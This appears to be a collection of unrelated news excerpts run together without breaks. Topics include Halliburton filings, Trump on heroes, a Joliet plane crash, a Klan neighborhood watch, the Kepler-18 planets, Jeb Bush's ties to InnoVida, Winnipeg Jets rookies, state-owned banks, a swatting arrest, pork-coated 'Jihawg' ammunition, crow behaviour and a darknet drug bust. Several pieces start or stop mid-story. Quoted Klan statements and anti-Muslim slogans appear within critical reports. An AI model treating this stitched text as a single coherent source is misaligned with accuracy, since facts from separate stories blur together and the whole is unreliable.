Because Monday was a recognized holiday, Halliburton has until Friday evening at 7 p.m. Eastern time—when most market watchers will be finalizing plans for New Year’s Eve—to file disclosures of the same news with the SEC. You should probably expect those filings to arrive as late as possible.
Halliburton stock has gained more than 60% so far in 2016, even as the price of oil has remained low, easily outpacing the 14.5% gain by the Dow Jones Industrial Average DJIA, -0.13% and 11.1% increase of the S&P 500. SPX, -0.08%
Donald Trump (Anthony Behar/Pool via Bloomberg)
Donald Trump was asked a seemingly innocuous question by the Times of London over the weekend: Name a few of your heroes. Here's how Trump responded:
Trump was asked if he has any heroes. Answer: https://t.co/3idRsQFQoN pic.twitter.com/yGyjx1q1Bl — Daniel Dale (@ddale8) January 16, 2017
Um, okay. Let's unpack this.
Trump makes clear he likes neither heroes nor the concept of heroes. But, he never says why. He then transitions into:
1) Talking about how he respected his dad.
2) How negotiating ability is like a gene — you either have it or you don't (which sort of reads as Trump making clear he didn't learn to negotiate from his dad).
3) A rehashing of the Republican primary fight, which concluded roughly seven months ago.
4) An argument that talent is what matters most in success.
5) A return to sort-of praising his dad for teaching him leadership (although he, again, believes that is the sort thing you are born with).
Er, what?
I take away three things from this “answer” from Trump.
Number one is that his tendency to just talk when asked something is very much on display here. This is a stream of consciousness answer for the ages. Trump goes from heroes to winning the Republican primary within seconds. Then to baseball and golf and then to his dad. It may make more sense to watch than to read. But it makes no sense to read.
Second, Trump is just not introspective. A question about heroes by its very nature necessitates some level of introspection from the person to whom it is asked. What makes a hero? What are the traits you most admire in a person? Who are the sorts of people that you model yourself after? Trump simply doesn't open up. Ever. He is constantly moving forward. He doesn't look back. He doesn't second guess. He assumes he has always done the right thing. In a way, it's a remarkable personality trait and one that as someone who constantly second guesses himself, I sort of admire. The point is that Trump doesn't engage in navel-gazing in public — and, my guess is, in private either.
In an interview with The Washington Post, President-elect Donald Trump recounts how he came up with "Make America Great Again" and reveals what his 2020 campaign slogan will be. (Alice Li/The Washington Post)
Third, Trump views himself as totally sui generis. He owes no one for his successes. He models himself after no one. There is no blueprint for Donald Trump except the one he writes for himself. Viewed through that lens, Trump's odd transition from a dismissal of heroes to a discussion of how he beat so many candidates in the Republican primary actually makes sense. The truth is Trump views himself as a prime mover of history, someone who makes new paths rather than following old ones. What Trump was really saying then was that he doesn't believe in heroes only singular men in history — of which he considers himself one. He believes they only made one Donald Trump and then broke the mold.
The crash happened around 11 a.m. Thursday at 1812 Hampton Court in a Joliet subdivision.
Joliet Fire Captain Jeff Allbert said Thursday morning that crews are responding to the crash. Allbert says crews are assessing the scene and putting out a fire.
The captain says it’s unclear so far if the plane hit any structures or vehicles but that the department is investigating.
Witnesses say they saw something falling from the plane and then an explosion before the crash actually happened.
No word on any injuries or exactly how many people were in the plane.
A neighbor tells WGN there was no one home at the time of the crash.
The plane’s engine was spotted about a half-mile away from the crash site by Skycam 9:
Skycam 9 spotted plane's engine about a half-mile away from the crash site in Joliet: https://t.co/EbXwqewWRg pic.twitter.com/Q8eJjSzEOC — WGN TV News (@WGNNews) July 21, 2016
Aerial television video of the crash site showed broken plane parts in the street and in the yard and driveway of a home.
Across the street, the siding on one home was peeling from the structure as smoke rose from inside. Nearby fencing was destroyed and a tree was blackened.
Joliet is 40 miles southwest of Chicago.
Plane crash in my neighborhood.. pic.twitter.com/BZ2MCdM0j9 — Jared (@JCZEN123) July 21, 2016
Plane just crashed into house pic.twitter.com/7GxwQVXyIr — Kyle (@K_Hold97) July 21, 2016
@WGNNews it's not everyday a plane crashed in the middle of your subdivision!! pic.twitter.com/AZFn0gU8Gl — Jennifer Emerson (@LifesATripJen) July 21, 2016
This is a developing story. Check back for details.
"People who are wanting to commit criminal activity... should beware because the eyes of the Klan are on them," warned Frank Acona, imperial wizard of the Traditionalist American Knights.
Members of the organization, which describes itself online as “unapologetically committed to the interest and values of the white race,” distributed flyers in Fairview Township on Friday that featured an image of a hooded Klansman above the words: “You can sleep tonight knowing the Klan is awake.”
The flier also encouraged local residents to call into a 24-hour “Klanline” to report “troubles” in the neighborhood.
The idea to launch the program in Fairview Township — a community of just under 17,000 residents, most of whom are white — followed a recent spate of vehicle break-ins that Acona said could indicate that police were too "overwhelmed" to respond.
However, Fairview Township Police did make an arrest in the case —19-year-old James A. Detter III, who is white.
Nevertheless, Acona insisted that the neighborhood watch would not target anyone based on race. Rather, he said, the Klan aimed to assist the police in their efforts to protect the community.
"I'm sure the police are going to downplay it, but we're out there to help law enforcement and they really ought to welcome us as far as I'm concerned,” Acona said. “They should be happy that we are out there doing what we can to help make their job easier.”
A NASA spacecraft has found an unusual three-planet system that consists of one super-Earth and two Neptune-size worlds orbiting a star similar to our sun, a new study reveals.
The planet-hunting Kepler Space Telescope discovered the three planets around the star Kepler-18, which is only 10 percent larger than the sun and contains 97 percent of the sun's mass, researchers from the University of Texas at Austin said. The alien system could also host more planets than have been found so far, they added.
All three planets, which are designated Kepler-18b, c, and d, orbit much closer to their parent star than Mercury does to the sun. The planet Kepler-18b orbits closest to the star, taking 3.5 days to complete its journey. The planet is about 6.9 times the mass of Earth and is twice the size of our home planet, making planet b a so-called super-Earth, the researchers said.
Kepler-18c, which takes 7.6 days to orbit the star, is about 5.5 times larger than our planet, and has a mass equivalent to about 17 Earths. Kepler-18d has a 14.9-day orbit and is about seven times the size of Earth, with a mass of about 16 Earths. According to these figures, planets c and d qualify as low-density "Neptune-class" worlds, the researchers said. [The Strangest Alien Planets]
The findings were presented Tuesday (Oct. 4) at a joint meeting of the European Planetary Science Congress and the American Astronomical Society's Division of Planetary Science in Nantes, France. The study will be published in a special issue of The Astrophysical Journal Supplement Series in November.
Scanning the cosmos
NASA's Kepler spacecraft hunts for exoplanets using the transit method, which looks for periodic dips in a star's brightness over time that could indicate a planet is passing in front of it from the telescope's perspective. The alien worlds around Kepler-18 were found using this method, but the orbits of the planets themselves were a point of interest to the researchers.
This graphic shows the orbits of the three known planets orbiting Kepler-18 as compared to Mercury's orbit around the Sun. The bottom graphic shows the relative sizes of the Kepler-18 and its known planets to the Sun and Earth. (Image: © Tim Jones/McDonald Obs./UT-Austin)
Kepler-18c orbits its parent star twice for every one orbit that Kepler-18d makes, explained study leader Bill Cochran of The University of Texas at Austin. But the two planets do not cross the face of their parent star at these same orbital periods.
"One is slightly early when the other one is slightly late, [then] both are on time at the same time, and then vice-versa," Cochran said in a statement.
This suggests that Kepler-18c and Kepler-18d are engaged in something of an orbital dance.
"It means they're interacting with each other," Cochran said. "When they are close to each other … they exchange energy, pull and tug on each other."
Once Kepler identifies potential exoplanet candidates using the transit method, scientists around the world use ground-based telescopes to collect more data and try to separate real findings from any false positives. [10 Real Alien Worlds That Could Be In 'Star Wars']
The Kepler-18 system
The planets around Kepler-18 helped astronomers out because the orbital activity between Kepler-18c and Kepler-18d indicated that they must belong to the same planetary system. But, proving the identity of Kepler-18b, the super-Earth, turned out to be a bit more complicated, Cochran said.
The team of astronomers used a technique called "planet validation," in which they examined the probability that the cosmic body could be something other than a planet. The researchers first analyzed high-resolution images of the space around the Kepler-18 star to see if the transit signal could have been caused by background objects in the vicinity.
"We successively went through every possible type of object that could be there," Cochran said. "There are limits on the sort of objects that can be there at different distances from the star. There's a small possibility that [Kepler-18b] is due to a background object, but we're very confident that it's probably a planet."
In fact, Cochran and his colleagues calculated that it is 700 times more likely that Kepler-18b is a real planet rather than a background object.
Identifying alien planets
The researchers said that this method of planet validation could play an important role in the ongoing hunt for habitable alien planets.
"We're trying to prepare the astronomical community and the public for the concept of validation," Cochran said. "The goal of Kepler is to find an Earth-size planet in the habitable zone [where life could arise], with a one-year orbit. Proving that such an object really is a planet is very difficult [with current technology]. When we find what looks to be a habitable planet, we'll have to use a validation process, rather than a confirmation process. We're going to have to make statistical arguments."
To date, Kepler has found 1,235 planetary "candidates" that are awaiting confirmation through follow-up observations. Researchers have estimated that at least 80 percent of these will be verified as real planets.
We've taken all our cookies solutions off all our websites . The evil cookies are back, and the pointless slidey warning messages are no more.
Presumably we now fly in the face of the law you are sworn to uphold. Please, please do your worst. Send in a team of balaclava-clad ninjas in black hawk helicopters to tickle us to death with feather dusters. Just do something.
But it appears that this law is nothing but hot air. We see companies who might actually be doing something naughty with our privacy – say Google, Amazon or Facebook – get away with nothing more than a cookie privacy link. We see our own government do the same or worse.
We also see users don't give a flying monkey cluck.
The idea of this law is a noble one, it's just a shame it was drafted by a team of technically illiterate octogenarians who couldn't find a button on a mouse. We have a few suggestions on how to make it better.
If you were to raise a genuine complaint with us, and explain what we're doing wrong we'll listen. And we'll be happy to pass the message on. Otherwise we're now assuming this law belongs in the same pile as other British classics; it's still illegal to die in the houses of Parliament or to eat a mince pie on Christmas.
Hugs and kisses,
After attending his second meeting as a board member for InnoVida, a Miami-based company that marketed prefabricated housing materials for use in disaster zones and other places in need, Jeb Bush had some follow-up questions.
“Fine board meeting,” Bush wrote in an e-mail to the chief financial officer before requesting details about the company’s liability insurance and politely nudging him that cash-flow data “would be appreciated.”
Bush wouldn’t get his answers until a week after his September 2009 e-mail, and then only in part — the CFO provided him with an “unaudited” financial spreadsheet and said no insurance details were immediately available.
If Bush was troubled by the response, it didn’t prompt him to pull away from InnoVida. He remained on the board for an additional year, leaving after a fellow board member started to unravel the widespread fraud that eventually led to the firm’s demise and the criminal convictions of two top executives.
Previously unreported court documents suggest that Bush was more involved with the company than has been publicly known — and that he deepened his role even as others associated with Inno­Vida grew concerned about its financial practices.
Documents show that the company listed Bush in internal records as a “key manager” who had been given options to buy 250,000 shares of stock and later stood to make more money looking for partners to build factories overseas.
Bush aides say he broke from InnoVida and voluntarily repaid consulting fees as soon as questions arose, and there is no evidence that he knew of the fraud that led to the criminal conviction of the company’s chief executive, Claudio Osorio, in 2013.
Nevertheless, Bush’s involvement with InnoVida, which he joined as a $15,000-a-month consultant in 2007 after completing two terms as governor of Florida, provides insight into his approach as a businessman and illustrates how his corporate ties could affect his presidential aspirations.
Seeking to build his fortune after leaving office, Bush accepted positions on major corporate boards and took on work as a consultant; these roles often had limited day-to-day responsibility but almost always came with the promise of substantial compensation.
Bush’s private-sector approach reflects a contrast to the hands-on style that characterized his time as governor. Potential rivals in the 2016 presidential race have hinted that they would make an issue out of Bush’s work for two troubled banks, Lehman Bros. and Barclays.
In the case of InnoVida, Bush spokeswoman Kristy Campbell said that “as soon as concerns regarding the company were brought to Governor Bush’s attention, he took action to address them immediately.” That included quitting the board, which he had joined in 2008, and giving up most of the fees he had been paid, she said. She said he never exercised the stock options he had been offered.
She said that Bush was among many sophisticated business­people who were tricked and that he fully cooperated with investigations of InnoVida.
“It is now obvious that Mr. Osorio deliberately misled a board of prominent business leaders about his company’s dealings and that is why he is now in jail,” she wrote in a statement.
Campbell said Bush had expressed his view “more than once” that the board should have received audited financial statements. “The board never got them,” she said, “but Osorio’s explanation seemed plausible at the time.”
Ultimately, Osorio was convicted of a scheme to swindle tens of millions of dollars from InnoVida investors and creditors, including a U.S. government agency that provided a loan to build housing in earthquake-ravaged Haiti.
After the company declared bankruptcy in 2011, Bush repaid $270,000 of the $469,000 he had received in consulting payments. He kept the remainder, $199,000, which his attorneys argued had paid for services he provided in “good faith.” An aide noted that Bush had incurred legal expenses as part of the bankruptcy.
Signs of success
Bush’s involvement with Inno­Vida began in 2007, as he plunged back into the private sector. Bush recalled first meeting Osorio at a charity event held that year at Osorio’s Miami Beach estate, an aide said.
Osorio was a fixture on the Miami social scene and, as a major Democratic donor, had hosted Bill Clinton and other leading politicians for fundraisers. He had all the outward signs of success, including a Maserati, a mountain chalet in Colorado and another home in Switzerland.
But a previous Osorio venture, a computer distribution company called CHS Electronics, had fallen into bankruptcy in April 2000.
After Osorio called Bush about joining his new business, Bush paid for a background check on Osorio and visited InnoVida factories in Miami and Dubai, Campbell said. There were “no red flags,” she said.
The presence of Bush and other notables was a plus as Osorio sought business and enticed more investors. “These were the props that Osorio used to convince people that his enterprise was legitimate,” said David A. Nunez, a Miami lawyer who represents some InnoVida investors seeking to recoup their money.
Osorio brought in money from an eclectic group of investors, including a Turkish-born tycoon once convicted of cocaine trafficking and professional basketball players such as Carlos Boozer and Alonzo Mourning.
Not everyone was ready to sign up. Another high-profile figure Osorio recruited to join the board, retired Army Gen. Wesley Clark, said he declined the offer in 2010 because of doubts about Osorio.
Clark, who ran for president as a Democrat in 2004, said he was initially interested in the board in part because Bush’s presence “kind of attested” to the company. But, he said, he hired a lawyer to check up on it and discovered that Osorio was deeply in debt.
“I’ve learned that when it smells, get away,” Clark said.
He said Osorio “talked a great game, but we became suspicious. It didn’t feel right.”
Problems surface
Court records show that some people associated with InnoVida began to notice problems in the spring of 2009.
Board meetings were held infrequently — just two in 2009 and one in 2010, according to corporate records.
Herb Margolis, then the company’s head of U.S. operations, left abruptly in the spring of 2009 and urged a board member, New York developer Ryan Freedman, to assert more control over the “mismanaged” company, according to Freedman’s court testimony.
Margolis did not advise Bush of his concerns, according to an aide. Margolis did not return calls seeking comment, and an aide to Freedman declined to comment.
Around that time, Bush was becoming more involved in Inno­Vida. In March 2009, he signed four deals in which he would be paid on commission to seek partnerships in Nigeria, Mexico, South Africa and Florida, according to sales compensation agreements filed as court exhibits.
The agreements specify that Bush’s consulting firm, Jeb Bush & Associates, would receive “finder” fees from InnoVida Factories, a Cayman Islands-based subsidiary. Bush would be paid 8 percent of the value of a deal if he brought in joint-venture partners to help build factories and 3 percent for bringing new customers for Inno­Vida products in those areas. Bush’s signature appears on all four agreements.
Bush never received any commission from InnoVida, Campbell said.
As the year went on, Osorio offered wildly inflated and conflicting claims about InnoVida’s capabilities and net worth, according to court testimony and filings.
Court records show that he also was soliciting board members for millions of dollars in loans.
Osorio declined an interview request through his lawyer, Humberto Dominguez, who said his client suffered from “being over-enthusiastic about his product” and wanting to get it to market.
Dominguez said Bush “had nothing to do with the scheme” and was “not an insider” but had been brought on because of his business connections.
A federal loan
In October 2009, the company began discussions with the Overseas Private Investment Corp. (OPIC) — a federal agency that uses public funds to encourage investments in the developing world — about securing a loan to provide low-cost housing in Haiti.
The agency typically would not consider loaning money to a company such as InnoVida that did not provide audited financial statements, officials said. But after a massive earthquake struck Haiti in January 2010, Osorio made a convincing case — and a $10 million loan was soon approved.
Osorio called officials and promised that the company could quickly build shelters for displaced victims, according to court testimony and internal OPIC documents obtained by The Washington Post through a Freedom of Information Act request.
In follow-up materials substantiating the loan application, the company provided detailed biographies of its board members, including Bush, described as a governor who “remained true to his conservative principles” and helped “unleash one of the most robust economies in the nation,” according to the OPIC documents. InnoVida also told OPIC that it would work with charities such as World Vision to provide housing.
OPIC agreed to make exceptions to speed along the loan. InnoVida was not required to provide audited financial statements before receiving the loan, and OPIC waived a $20,000 fee and agreed to begin making the money available as quickly as possible.
The agency ended up wiring $3.3 million to the company before officials began to question where the money was going. An OPIC spokesman, Charlie Stadtlander, said the exceptions to loan protocols granted to Inno­Vida are not uncommon in emergencies such as the Haiti earthquake.
Court records show that Inno­Vida was also seeking other funding sources from Haiti earthquake-relief efforts. One such project — a $180,000 contract to help rebuild the University of Haiti — was sponsored by a charity funded with proceeds raised by Bush’s father, former president George H.W. Bush, and former president Clinton, records show.
Growing suspicion
By mid-2010, two board members had grown skeptical of Osorio and his business practices.
Oscar Seikaly, an insurance executive who had been friends with Osorio before joining the board, said he became worried when Osorio did not seem upfront about the firm’s financial picture.
“I was expecting to see some audited statements, and it was always ‘We don’t have it, we don’t have it,’ ” Seikaly recalled in an interview.
Christopher Korge, a prominent Miami Democratic donor who had invested $4 million in the company, was frustrated that additional equity being promised by Osorio was not materializing.
In August 2010, a furious Korge called Bush and other board members after Osorio e-mailed him claiming to be in China closing a big deal — the same day Osorio was spotted eating at a South Beach steakhouse, according to court documents. Korge urged them to confront Osorio at an upcoming meeting.
“I have to tell you I was impressed with Jeb’s response,” ­Korge said. “When I informed him of what I had found and that I thought the CEO was perpetrating a fraud, Jeb Bush became immediately engaged and worked with me to try to stop the continuation of this fraud.”
On Sept. 16, 2010, Bush attended a board meeting, scribbling notes on his agenda about the company’s ventures around the globe. “Haiti China Angola,” he wrote on a meeting agenda later submitted as court evidence.
Three days later, Bush submitted his resignation and returned his $15,000 consulting fee from the previous month to the firm.
Korge filed a civil suit, which eventually sent InnoVida into bankruptcy. Two years later, Osorio and his chief financial officer, Craig Toll, were arrested and charged with two dozen counts of fraud and money laundering.
Osorio was sentenced to 12 1/ 2 years in prison and ordered to pay $24 million in restitution. Toll was convicted of 10 counts at trial and sentenced to four years. He is appealing the decision. His attorney, Ari Gerstin, declined to comment.
Seikaly said he wasn’t surprised that Bush was taken in by the scam. “Anybody can deceive anybody,” he said. “Mr. Bush is a human being.”
“I actually hated him,” stated Scheifele, smirking in Trouba’s direction.
“It’s true, I punched him in the face once,” shrugged the 6’2” defenceman from Rochester, MI.
“We didn’t really know each other besides the fact that we were drafted by Winnipeg because it was during the lockout. We didn’t really meet each other… or did we?” asked Scheifele, looking quizzically at his teammate.
Trouba thought for a minute and nodded. “Yeah, development camp but that was very limited,” he recalled, referring to the five-day development camp in Winnipeg July 9th - 13th, 2012.
Then with a smile, Trouba looked at Scheifele and added. “I’ve got a story for you: When I got drafted, Scheifs followed me on twitter, just being a nice guy so I thought, ‘oh, he’s pretty cool’. Then right before world Juniors he unfollowed me, then followed me again afterwards,” he shook his head as Scheifele laughed and defended himself. “Yeah, well we battled it out. We went hard against each other in the corners, it was just war.”
“It was good resentment for me,” Trouba teased as Scheifele rolled his eyes. “Yeah, he still gives me the gears. Anytime anything Hockey Canada comes up it’s always ‘Ah, remember that Scheifs?’ Just... just bad.”
Canada’s loss in the 2013 World Junior Championship still stings for Scheifele, who came home from Ufa, Russia without a medal. Trouba on the other hand, took home the gold with team US who defeated Sweden 3-1 in the finals for their third title since 2010.
The competitiveness developed during that championship is still apparent between the two rookies. “Whenever we go up against each other, like in development camp and stuff, we’d always try to go against each other. And working out this summer, we always tried to pair up because we pushed each other,” said Trouba.
But according to Scheifele, there are no hard feelings. “It’s healthy competition. It’s not like we want to go and rip the guy’s head off,” said the centreman as Trouba chuckled in mock disbelief. Scheifele smiled but pressed on. “We want to battle as hard as we can during the drill or during the workout but after that it’s done. It’s not like we’re going to go out and play basketball and I’m going to smash him into the wall,” he said with a laugh, giving Trouba a friendly shove.
But the 19 year-old defenceman isn’t so sure his new roommate has put everything behind him. “He doesn’t like the past experiences that we’ve had playing against each other,” he admitted. “He’s a really nice kid though, a good guy to be around. He loves hockey. He loves being around hockey and anytime he gets a chance he watches it. He’s a little kid,” said Trouba, the younger of the two.
Scheifele is quick to correct him. “We both have our kid moments. I’m a bit more of a kid than him but he’s a good guy. What I’d do for him he’d do for me, we’re both in it for each other’s best interest.”
After getting off on the wrong foot, it’s clear the two teammates are now very close friends, all thanks to an intense game of basketball earlier this summer that finally broke the ice.
“Starting off at Gary Robert’s [High Performance Training Centre], we didn’t know each other at all going in. I lived with [Lukas] Sutter and he lived down the road, but we were around each other a lot and we all kind of hung out together,” explained Trouba. “Then one day we went out and played basketball with one of his buddies from Toronto and that’s when we really got to know each other and things kind of took off from there.”
“It was a very, very cool experience,” nodded the Kitchener, ON, native. “My buddy, he’s from Toronto, so it was that classic street ball…”
“It was caged in!” Interjected Trouba.
Scheifele laughed. “Yeah, we were in this cage with 10 other guys. It was pretty intense.”
After that, the two quickly became friends and eventually roommates. “I was with Morrissey for a while and he was with Lowry,” said Trouba, explaining the rooming arrangements over training camp in early September. “We were right next door to each other at the hotel. And then I moved in with Scheifs and we’ve been together on the road as well. I usually sleep in the bed next to the door to protect the wife,” he added with a grin as Scheifele almost choked on his chocolate milk.
Having each other as support while trying to prove themselves and make the team through training camp and the early part of the season was a big advantage. The jump from Development Camp and the Young Stars Tournament in Penticton to the NHL was an adjustment for both Trouba and Scheifele on different levels.
“Development camp is not as much a team mentality, it’s more learning different skills,” explained the 20 year-old centreman. “I think [in the NHL] you can still be a leader in your own way. Being on the ice, you can always work your hardest and give it your all and be a leader that way. It’s a little different not being as vocal because you’re a younger guy, but you learn from the older guys like Ladd, Bogosian, and Stuart. You learn from those leaders and you try to model yourself after them.”
Trouba also found his first few games difficult, but is gaining more and more confidence as the games add up. “For me, I think just playing games and trying to adjust to that [was tough]. I struggled in my first game and throughout preseason I kind of figured out what I could do and what I couldn’t do. The biggest help for me was being here last year and seeing practice and what goes on.”
Scheifele had more experience coming into camp for his third straight year, but agreed with Trouba. “It’s a different kind of tough [this year]. You try to do more things and try to gain your confidence. The biggest thing I found is the confidence level,” he stressed. “The last two years I’ve kind of come in and been unsure and intimidated because you’re playing with guys you’ve looked up to as idols, and then you’re up against them taking a draw. So now I kind of look at things differently, but I think every year I got more confident and more comfortable.”
With the help of the coaching staff and veteran teammates, Trouba and Scheifele are carving out their place in the roster and adapting to the high-tempo game. “Everyone’s always trying to help us along as much as they can,” noted Trouba. “Especially Bogosian for me; he’s really helped me playing-wise and off the ice, showing me how to do things and what goes on. And on the ice he’s really helped keep me calm and not let me get too high or too low, just going about my business and not really worrying about what others are saying.”
The authors of a new study showing as much sent questionnaires to more than 300 Canadian children aged 7 to 13 and of both genders, the National Post reports. The researchers also sent questionnaires to the children's parents. They asked the kids what they wanted to be when they grew up. They answers were coded according to stereotypically feminine careers, like a stay-at-home mom or nurse, stereotypically male careers, like an astronaut or CEO, or neutral careers. They asked the parents, on the other hand, who does most of the housework, or whether it's evenly divided.
Girls raised in families in which the father did equal or more chores than the mother, the National Post writes, tended to report more aspirational career goals, including those considered stereotypically male, than girls raised in families with more traditional gender roles. The same effect held true if the girl's mother was career-oriented.
As the National Post puts it, "All dads have to do is a little more housework — and they’ll give their daughters’ career prospects a boost."
The Guardian's Jessica Valenti, however, points out that we really shouldn't need studies like this one as a means to jolt men into household-cleaning action. As she argues:
Instead of trying to get men to do their fair share of work in the home by reminding them that it will bode well for their daughters (or that it might get them laid at the end of the day), how about they do just do it already? I know it's super-radical, but perhaps men should do the dishes not because of a potential sociological impact on their female offspring, but because the dishes are dirty and women aren't the only ones who eat dinner off of them.
The logical solution, then, is to restore credit to the local economy. But how? The Federal Reserve could provide the capital and liquidity necessary to create bank credit, in the same way that it provided $12.3 trillion in liquidity and short-term loans to the large money center banks. But Fed Chairman Ben Bernanke declared in January 2011 that the Fed had no intention of doing that—not because it would be too costly (the total deficit of all the states comes to less than two percent of the credit advanced for the bank bailout) but because it is not part of the Fed’s mandate. If Congress wants the Fed to advance credit to local governments, he said, it will have to change the law.
The budget crises that nearly all the states are now facing did not arise from too much spending or too little taxation. The crises arose from a credit freeze on Wall Street.
The states are on their own. Policymakers are therefore considering a variety of reforms designed to increase bank lending, particularly to small businesses, the hardest hit by tightening credit standards. One measure that is drawing increasing interest is the creation of a bank modeled on the Bank of North Dakota (BND), currently the only state-owned bank in the country. The BND has a 92-year history of safe, secure and highly profitable banking. North Dakota has the lowest unemployment rate in the country; and in 2009, when other states were floundering, it had the largest budget surplus it had ever had.
How Wisconsin Could Turn Austerity Into Prosperity:
Own a Bank
An answer to state budget woes that doesn't need to involve sacrificing workers' rights.
Eight states now have bills pending either to form state-owned banks or to do feasibility studies to determine their potential. This year, bills were introduced in the Oregon State legislature on January 11; in Washington State on January 13; in Massachusetts on January 20 (following a 2010 bill that lapsed); and in the Maryland legislature on February 4. They join Illinois, Virginia, Hawaii, and Louisiana, which introduced similar bills in 2010. The Center for State Innovation, based in Madison, Wisconsin, was commissioned to do detailed analyses for Washington and Oregon. Their conclusion was that state-owned banks in those states would have a substantial positive impact on employment, new lending, and state and local government revenue.
State-owned banks could be a win-win for everyone interested in a thriving local economy. Objections are usually based on misconceptions or a lack of information. Proponents stress that:
A state-owned bank on the BND model would not compete with community banks. Rather, it would partner with them and support them in making loans. The BND serves the role of a mini-Fed for the state. It provides correspondent banking services to virtually every financial institution in North Dakota and offers a Federal Funds program with daily volume of $330 million. It also provides check clearing, cash management services, and automated clearing house services. It leverages state funds into credit for local purposes, funds that would otherwise leave the state and be leveraged for investing abroad, drawing away jobs that could go to locals. The BND not only does not compete for loans but does not compete for commercial deposits. Less than two percent of its deposits come from consumers. Municipal government deposits are also reserved for local community banks, which are able to use these funds for loans specifically because the BND provides letters of credit guaranteeing them. Virtually all of the BND’s deposits come from the state itself. All state revenues are deposited in the BND by law. Although the BND is a member of the Federal Reserve system, it is insured by the state rather than by the FDIC. This does not, however, put depositors at risk. Rather, it helps avoid risk and unnecessary expense, since the BND’s chief depositor is the state, and the state has far more to deposit than $250,000, the maximum covered by FDIC insurance. FDIC insurance is not only very expensive but subjects members to FDIC regulation, making the state subservient to a semi-private national banking association. (The FDIC calls itself an independent agency of the federal government, but it receives no Congressional appropriations. Rather, it is funded by premiums that banks and thrift institutions pay for deposit insurance coverage and from earnings on investments in U.S. Treasury securities.) North Dakota prefers to maintain its financial independence. BND officials stress that the bank is run by bankers, not politicians bent on funding their favorite development projects or bestowing political favors. The bank is run very conservatively, doing only creditworthy deals and avoiding speculation in derivatives and risky subprime loans. By partnering with local banks, the BND actually shields itself from risk, since the local bank takes the initial loss if the borrower fails to pay. The BND does not imperil state funds or tax money but is self-funding and self-sustaining. It keeps federally-guaranteed funds in the state that would otherwise go elsewhere, including VA and FHA loans and low-income subsidies. Profits on these federally-guaranteed loans can then be used to build a capital surplus from which riskier loans can be made to local businesses. The BND has a return on equity of 25-26 percent and has contributed over $300 million to the state (its only shareholder) in the past decade—a notable achievement for a state with a population less than one-tenth the size of Los Angeles County. Compare California’s public pension funds, which entrust their money to Wall Street and are down more than $100 billion, or close to half the funds’ holdings, following the banking debacle of 2008. Partnering with the BND allows community banks to fund local projects in which Wall Street is not interested, leveraging municipal government funds that would otherwise not be available for loans. Further, infrastructure projects can be funded through the state bank at substantially less cost, since the state owns the bank and gets the interest back. Studies have shown that interest composes 30-50 percent of public projects. North Dakota has the most local banks per capita and the lowest default rate of any state. The North Dakota Bankers’ Association does not oppose the BND but rather endorses it.
Other states could realize similar benefits, if they were to form banks on the BND model.
A 19 Year-Old American, suspected of conducting dangerous hoax police calls across the country, was arrested in Las Vegas on Thursday.
Brandon Wilson, known as "Famed God" in some online communities, faces up to five years in jail if found guilty. It is alleged that, in July last year, he made a bogus call to Chicago police that convinced the force to raid a house in Illinois.
Wilson was tracked down by investigators based in Illinois, who seized his computer equipment and--according to prosecutors--found evidence of the swatting incident as well as similar incidents across the country.
Cases of serious hoax calls to the police, known as Swatting, have become increasingly prevalent in the past two years. The process involves obtaining someone's home address (usually via their IP address) and making a distress call to the police. Often the hoaxer will use masking software that makes the call appear to come from the victim's house.
While no one has yet died from Swatting, one victim believes the punishment for the culprits should be an attempted murder sentence.
By apparent coincidence, Wilson's arrest occurred on the same day as one Twitch streamer, Joshua Peters, broke down in tears on camera after discovering his family had been Swatted while he was broadcasting a game of Runescape.
"I had police point a gun at my little brothers because of you," Peters said in a message to the anonymous culprit, who had also posted his address on the Twitch stream chat log.
"They could have been shot, they could have died because you chose to SWAT my stream," he said, holding his emotions.
"I don't give a shit about what you have against me, or what I did to you. For that, I am at a loss for words. Your gripe is with me so let it be with me and do not involve my family in any way, shape or form with this. They don't deserve that."
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List INS Ecosystem on KuCoin
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The company, Jihawg Ammo, is apparently playing on the Islamic tradition of not eating pork, hatred of Muslims and love of guns.
WorldNetDaily reports:
A company in northern Idaho has come up with a culturally sensitive approach. Jihawg Ammo has developed a proprietary system for infusing ballistic paint with pork. The special pork-infused paint is then applied to the bullets of loaded ammunition.
The inclusion of pork in the paint makes the bullets haraam, or unclean. Under Islamic law, anyone who comes in contact with any haraam item is then unclean and must engage in a cleansing ritual. No unclean person can be admitted into Paradise. Do not pass Go. Do not collect 72 virgins.
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The Jihawg Ammo website uses slogans such as "Jihadist's fear being defiled by pork, especially during Jihad" and "So when you hear the radical battly cry -- 'allahu akbar!' It's Time to Put Some HAM in MoHAMed!"
For people who want to proudly wear their anti-Islamic bigotry, the website also offers apparel with captions such as: “Pigs Do Fly” and “Do 72 Virgins a Favor.”
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Sources: Jihawg.com and WorldNetDaily
“It’s a very Hannibal Lecter thing — it looks like you cut someone’s face off and are wearing it,” said Ms. Swift, who spent a lot of time reassuring Seattle residents that she was actually doing science. “A lot of people would say, ‘I don’t care what you say, I’m calling the police.’ ”
Up to six weeks later many birds still scolded the visitors even when they approached with nothing in their hands. Volunteers wearing unfamiliar masks, on the other hand, were scolded significantly less often.
Ms. Swift found more signs that dead crows left a strong impression on living ones. In the days after seeing a volunteer with a dead crow, birds took significantly longer to approach food. The sight of a dead pigeon had no such effect.
In their report, which appears in the November issue of Animal Behaviour, Ms. Swift and Dr. Marzluff propose that crows pay careful attention to their dead as a way to gather information about threats to their own safety. “It’s a long-term learning opportunity,” Ms. Swift said. “Knowing that you need to be wary in a particular place — that’s valuable.”
The presence of a dead crow could tell other crows that a particular place is dangerous and should be visited with caution. The loud calls the birds make could be a way to share information with the rest of their group.
Six of the eight suspects reportedly involved in the Silk Road-like site were nabbed in the U.S. The alleged ringleader, Marc Willems, was arrested Monday morning in the Netherlands. His alleged deputy, a U.S. citizen named Michael Evron who lives in Argentina, was arrested Sunday while attempting to leave Colombia.
Between January 2007 and October 2009, Willems and Evron, who are charged with running the online storefront called “The Farmer’s Market,” processed about 5,256 online orders for drugs that were valued at more than $1 million, according to a 66-page indictment (PDF) released on Monday.
The suspects have all been charged with drug trafficking and money laundering. Some of the suspects have also been charged with distribution of LSD and participation in a continuing criminal enterprise.
Authorities seized unknown quantities of hashish, LSD and ecstasy, as well as an indoor psychotropic mushroom grow, and three indoor marijuana grows in the raids.
According to the indictment, the storefront has been in operation since at least 2006 and was initially launched under the name “AdamFlowers.” In the beginning years, the operation processed customer drug orders via Hushmail, an encrypted e-mail service.
